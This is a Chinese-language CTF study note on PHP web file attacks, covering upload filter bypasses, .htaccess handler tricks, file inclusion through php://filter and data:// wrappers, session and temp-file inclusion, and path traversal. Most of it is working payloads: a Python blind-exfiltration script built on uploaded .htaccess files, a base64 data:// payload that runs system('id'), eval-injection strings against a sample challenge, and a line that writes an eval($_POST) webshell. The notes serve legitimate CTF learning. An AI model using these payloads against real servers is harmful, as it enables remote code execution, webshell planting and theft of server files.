03-WEB-文件操作
03-WEB-文件操作
文件上传
 利用上传的带有php代码文件并被后端php处理
黑名单后缀绕过
 使用php3 php4 php5以此类推、phtml并结合大小写
双写绕过
 如将黑名单替换为空 pphphp -> php
文件内容绕过
php tag
1.<?php phpinfo();?>
2.<? phpinfo();?>	<?='123';?>	<?=表示<?php echo
3.<script language='php'>phpinfo();</script>
4.<% phpinfo();%>
webshell
htaccess的使用
 AddHandler php5-script .jpg 将.jpg文件按照php代码进行解析执行
 AddType application/x-httpd-php .jpg 同上
 Sethandler application/x-httpd-php 将该目录及子目录下的文件均按照 php文件解析执行
 盲注利用:
<If "file('/flag')=~/^f/">
ErrorDocument 404 "abc"
</If>
import requests
import string
import hashlib
ip = requests.get('ip.....').text
print(ip)
def check(a):
    f='''
    <If "file('/flag')=~/^'''+a+'''/">
    ErrorDocument 404 "abc"
    </If>
    '''
    resp=requests.post("url",data={'submit':'submit'},file={'file':('.htaccess',f)})
    a=requests.get('ip/upload/'+ip+"/a").text
    if "abc" not in a:
        return False
    else:
        return True
flag="flag{BN"
c=string.ascii_letters+string.digits+"\{\}"
for j in range(32):
    for i in c:
        print("chacking:"+flag+i)
        if check(flag+i):
            flag=flag+i
            print(flag)
            break
        else:
            continue
一般思路
首先上传正常图片,抓包,将内容修改为webshell,并将后缀名改为乱码
->若正常发送,则说明为黑名单过滤且对文件内容没有过滤,考虑修改后缀名
->若无法发送,则说明对文件内容进行了过滤或为白名单过滤
 ->对于文件内容过滤,则考虑更换php tag、使用换行符、加入文件头
| 文件格式 | 十六进制文件头 | ASCII可读形式 | 说明 | 
|---|---|---|---|
| JPEG | FF D8 FF | ÿØÿ | 起始标志39 | 
| PNG | 89 50 4E 47 0D 0A 1A 0A | ‰PNG.... | 固定8字节头69 | 
| GIF | 47 49 46 38 39(37) 61 | GIF89a/GIF87a | 89a为动画格式39 | 
| BMP | 42 4D | BM | Windows位图9 | 
| TIFF | 49 49 2A 00或4D 4D 00 2A | II* 或 MM* | 小端/大端存储9 | 
 ->对于白名单过滤,考虑使用.htaccess,先上传.htaccess文件,然后上传正常 后缀名的webshell文件
文件包含与任意文件读取
文件包含
文件包含相关函数:include()、include_once()、require()、require_once()
php伪协议
file://	访问本地文件系统
http://	访问HTTP(s)网站
php://	访问各个输入/输出流	
phar://	PHP归档	
zip://	压缩流
php://input
 可以访问请求的原始数据只读流,读取没有处理过的POST内容
php://filter可以进行任意文件读取
?file=php://filter/read=convert.base64-encode/resource=index.php
php://filter协议,启动过滤器处理流程 
convert.base64-encode,将原始内容转换为base64编码格式
data协议
 可以将内容写入file变量中,赋值给file_get_contents读到的内容
data:[数据类型][;base64],<data>
	数据类型(如 text/plain, image/png)
 base64:可选标志,表示数据经过 Base64 编码
 data:实际内容(需 URL 编码)
 ?file=data://text/plain,
 ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8%2b
#例题
<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval("var_dump($a);");     
    show_source(__FILE__);
?>
?hello=);show_source('flag.php'
?hello=);print_r(file("flag.php")
?hello=);var_dump(file("flag.php")
?hello=);include(@$_POST['f']
f=php://filter/convert.base64-encode/resource=flag.php
                 
#var_dump()可以输出变量的类型和值
#eval()可以把字符串按照php代码执行
session文件包含
$SESSION为一个数组,保存着会话信息,session文件通常存储在/tmp或/var/lib/php/session目录下sess[PHPSESSID]
session上传进度,当一个上传在处理时,POST一个session.upload_progress.name(PHP_SESSION_UPLOAD_PROGRESS)同名变量时,上传进度就可以在$_SESSION中获得
同时上传POST请求和上传
<!doctype html>
<html>
<body>
<form action="目标地址" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>
之后添加Cookie并将PHPSESSID的值设置为任意值,不断发包即可
临时文件包含
短时间内包含临时文件(1.加快自己 2.减慢对方)
直到文件路径(如果有phpinfo页面,对phpinfo发起post文件上传就ok)
方法1 发生错误不再删临时文件
php7.0 file=php://filter/string.strip_tags/resource=/etc/passwd会造成一个segment fault
方法2 自包含
自己包含自己,死循环
<?  
file_put_contents('/tem/shell.php','<?php eval($_POST[0]);?>');
?>
任意文件读取
任意文件读取漏洞是指应用程序在读取文件内容时,攻击者能够通过构造特殊的路径参数,访问并读取服务器文件系统中本不该被访问的敏感文件。
如:../../../../etc/passwd
双写绕过、URL编码绕过等
`
 
                     
                    
                 
                    
                 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号